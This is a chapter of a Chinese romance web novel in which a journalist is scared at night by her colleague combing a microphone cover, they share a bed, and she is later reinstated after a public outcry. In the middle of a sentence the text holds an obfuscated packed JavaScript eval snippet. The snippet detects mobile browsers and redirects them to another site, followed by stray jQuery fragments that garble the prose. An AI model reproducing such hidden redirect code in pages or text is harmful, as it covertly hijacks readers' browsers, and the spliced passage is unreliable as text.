睡睡袋的日子终于结束,黎叙闻几乎是在挨上枕头的那一秒,就立刻陷入了沉眠。
但可能是她心神不宁,也可能是里里突然多出一个人,让她本能地警醒,睡到后半夜,她忽然被客厅一阵很轻的动静唤醒。
那声音很有节律,沙沙,沙沙,像有个长发女人,正坐在沙发上,梳理自己垂下来的头发。
黎叙闻越听越毛骨悚然,后背贴着床单,被这声音刮起了一层冷汗。
是谁,是齐寻吗?
大半夜的,他坐在客厅……梳头吗?
他短发爽利,那,梳的是……谁的头发?
她慢慢地坐起来,轻手轻脚地下了床,甚至摸出立在门背后的拖把杆,紧紧攥在手里。
门被她轻轻掀开一条缝……
窗外月色明亮,齐寻一个人坐在半明半暗的客厅,脸隐在阴影中,而下半身沐浴在月光里,手里抱着……
一个圆圆的,毛茸茸的……人头?
下一秒,他向着主卧的方向抬起头来,像是隔着门板,捉住了她的眼睛:“闻闻,怎么不睡了?”
黎叙闻汗毛瞬间根根倒竖,在门后发出尖锐的惊叫!
“闻闻!”齐寻立刻起身去开灯,一把推开主卧的门。
黎叙闻手里攥着武器,使了大力向他挥来!
他灵活地往旁边一闪:“我!是我!”
黎叙闻吓得声音都虚了:“你、你抱的是谁的头?!”
齐寻一愣,低头看着手里的东西,过了两秒忽而大笑:“你看呢,你看这像是谁的头?”
黎叙闻本能往后一缩,半眯着眼睛,借着灯光才看清那东西……
是一个毛茸茸圆滚滚的话筒。
她几乎浑身脱力,扔掉手里的拖把杆,指着齐寻骂道:“你大半夜不睡觉,坐在客厅梳话筒?”
齐寻笑着扶住墙:“你家里不能梳话筒?”
黎叙闻用手背飞快蹭了一下眼角:“你房间不够大吗!为什么坐在客厅梳!”
齐寻脸上笑着,没回答。
因为十六楼真的太高了。
黎叙闻关上房门之后,他在房间坐了半个小时,控制不住地心慌手抖,汗出得像流水,实在待不住,这才想去客厅坐着,能离她近一些。
他抱起双臂,笑着问:“怕鬼?”
黎叙闻闭着眼捂住耳朵:“别、别说那个字!”
“你这记者当的……唯物主义世界观呢?”齐寻觉得手指痒痒,真想掐一下她的脸:“不怕,我阳气重,能镇宅。”
黎叙闻心砰砰跳:“那你刚刚抬头看我……你怎么知道我在看你?”
齐寻失笑:“你以为你起床的声音很小吗?我要连这都听不到,就别当录音师了。”
黎叙闻盯了半天他手里的话筒,赌气伸手拍了它一下,又生着气指挥它的主人:“去给我倒杯水!”
齐寻应了,去给她倒水,嘴角压不住地上翘,直到把水递给她,眼里的笑意还没有散尽。
黎叙闻丢了面子,憋着脾气想扳回一局。
她抬头将水喝尽,挑着眼尾问他:“发着烧又这么累,还不睡觉?这么大的人了,是不是还在择床啊,齐,副队长?”
齐寻靠在卧室门口,一言不发,看着润泽的灯光映得她眉眼秾丽,刚刚惊吓出的泪意还覆在睫上,熠熠发亮。
黎叙闻咦了一声:“可当时在民宿你睡得明明很好,那天在飘窗上,也……”
“哦,”她脑子快得很:“是因为你睡觉的时候,旁边必须有人?”
齐寻立刻笑不出来了。
他轻咳了一声,道了声晚安,转头就走。
手腕却被她拉住。
“伤还没好,”黎叙闻抬头看他,眼神却躲闪:“不能再熬了。”
齐寻身体猛地一颤。
明明听懂了,又怕自己会错了意,他喉头滚了滚,站着没有动。
黎叙闻扭头去看她的床,语气毫不扭捏:“我这一米八的大床,能睡得下。”
就是不敢看他。
齐寻没有顺着望过去,反而低下视线,去看握在他腕骨上,那只细细颤抖的手。
她背对着他,身体僵硬,执拗着,不肯看他的眼睛。
齐寻盯着她的后枕,尽力稳住声音,道“我睡飘窗就可以。”
“不,你是来养伤的。”
她松开他,顾自又去拿了床被子,整理床铺:“你救过我好几次了,我总不能看着你觉都睡不好。我不是说过吗,算我欠你一回,这就当是我报答你,再说,之前也不是没在一张床上睡过……”
说着说着,她自己都说不下去了。
她真的很需要劝服自己,这么做是因为他需要、他值得,是因为他救过她的命,要报答他的恩情,是因为他们一起出生入死,早就不该在乎这种事情。
而不是……
而不是因为她也泥足深陷,不是因为她也渴望着他的体温,也不是因为她真的想要照顾他,想要他天天平安,事事顺意。
她聒噪之后的沉默,齐寻站在她的身后,看着她忙乱的动作,全部都听懂了。
这大约是独属于黎叙闻的,对他表白的回应。
所以他没再推脱,顺从地躺在她的身边,听着她纠结凌乱的呼吸,十分钟之内,就沉沉地睡去了。
……
再醒来,天光大亮。
侧躺在身旁的人睡得很安静,呼吸均匀,半张脸埋在被子里,柔软的卷发散在耳侧,鼻息一下一下轻轻撩动着发丝。
而她的手,一直握着他的手腕。
齐寻闭上眼睛莞尔。
难怪后半夜,他做了一个那么好那么平静的美梦。
……就是有一些不那么平静的生理反应,需要在她醒来之前解决一下。
他轻手轻脚掀开被子,小心地回头看她,闻闻依然在酣眠,唇角噙着一点笑,眉目舒展。
结果刚握住她的手,拔开相亲的肌肤,她立刻睁开了眼睛。
齐寻猛地放开手,欲盖弥彰地清了下嗓子:“醒了?”
黎叙闻大大伸了个懒腰,小腿隔着被子触碰到他的,自己却毫无所觉:“嗯……睡得好吗?”
齐寻从嗓子眼里挤出一个“嗯”,脸色好看得很。
身边人感受到他的紧绷,凑过来问:“你怎么了,伤口疼吗?”说着就上手要掀他被子:“我看看!”
齐寻倒吸一口气,一把按住被子边缘:“没,没有。”
大约是刚睡醒,脑子慢了小半拍,黎叙闻冷下脸:“讳疾忌医是不是?放开。”
……不是忌医,是忌你。
“你先去洗漱,我再躺一会儿。”
“躺一会儿?”黎叙闻奇道:“我走了你又不难受了?”
她忽然坐起来:“昨天是骗我的?”
这句不用齐寻回答,因为她坐起来的一瞬间,视角从跟齐寻对视,自然转为居高临下的全局,于是就看到了一些……
蔚为大观的风景。
她甚至愣了一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962741|190916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
紧绷的神色成功地从齐寻的脸上传染到了她的脸上,耳后灵动的小蛇也被热意烤醒了,在她的皮肤上狠狠一跳。
怪就怪天气太热,夏凉被太薄。
可这么薄的被子,还是瞬间在她背后捂出一层汗。
齐寻翻了个身,侧身背对她,无奈道:“还看?”
黎叙闻蓦地转开脸:“那、那你先去洗手间?”
“你先。”
“哦。”
她僵硬着身体,梦游似地进了洗手间,木着脸拿了口杯和牙刷,刷着刷着,手机铃声忽而大震,她陡然回神,如梦初醒似地捧住自己的脸
有什么好跑的!好歹看清楚啊!
手机不依不饶地嗡嗡震动,黎叙闻洗好脸,才懒懒地捻起手机去看。
停职在家,这个点不会有什么正经事情找她,不需要太紧张。
然而当她拍着面霜,眯眼看消息提醒的时候,瞬间便瞪大了眼睛。
弹出的消息竟然是企业微信。
她被停职后,企业微信账号第一时间被冻结,就像个透明人一样,商报的一切都与她无关。
可现在,她竟然收到了早会的通知。
人事的消息后脚就到,通知她经过高层研究,决定解除她的停职状态,让她处理好手头的事情,尽快复职。
黎叙闻盯着手机屏幕,愣了良久。
什么情况,高层股东突然良心发现,后知后觉想起来她是调查记者,做的一切并不至于停职?
不可能,唯一的解释就是他们受到了某种压力,或是……
她立刻点开商报APP,才发现自己之前参与的报道被做成了一套专题,在首页滚动播放。
标题看得她一身鸡皮疙瘩:舆论炮火中不灭的信仰——调查记者黎叙闻
专题导语更是离谱:“商报始终致力于培养踏实、勤奋、兼济天下的媒体人,在纸媒式微的时代,做巨轮沉默前最后的守望者。”
她彻底明白了。
肯定是齐寻那条视频引发大规模公众讨论,舆论方向再一次掉转,商报成为了关注的中心焦点。
现在让她复职,确实是最好的选择。
当然,里面肯定也少不了马颂今的推波助澜。
她转而打开社交平台,都不用搜索,京屿商报官博的置顶声明直接转到了她的首页。
点进去一看,上一条例行公事的社区建设新闻,评论区被刷上了三十万。
她小心翼翼地点开评论,一种陌生的情绪瞬间凝成实体,在她心里某个自己都没有意识到的柔软角落,轰然下落。
三十万条,众口一词地要求还她公道,指责商报做缩头乌龟,没能力保护自己的记者,要求报社将她复职。
里面有经过细心编辑的文案,有言辞激烈的痛骂,有阴阳怪气的调侃,还有的简单粗暴,一句“复职”刷了很多条。
一滴温热的水渍落在屏幕上,在字的边缘映出一块细小的斑斓。
这些人主页点进去,有人上一条还在追星,有人在晒自己做的饭,有人辱骂老板和同事,有人青春靓丽,主页填满了自拍。
这一刻,她才真正看到了“沉默的大多数”的力量,数十万人的珍贵善意,正在她的身上熠熠闪光。
屏幕上洇开的光晕,渐渐连成一片小型的海。
原来她从不是孤身一人。
“闻闻?”
那个第一个伸手托住她的声音,在客厅远远响起:“好了吗?早饭要凉了。”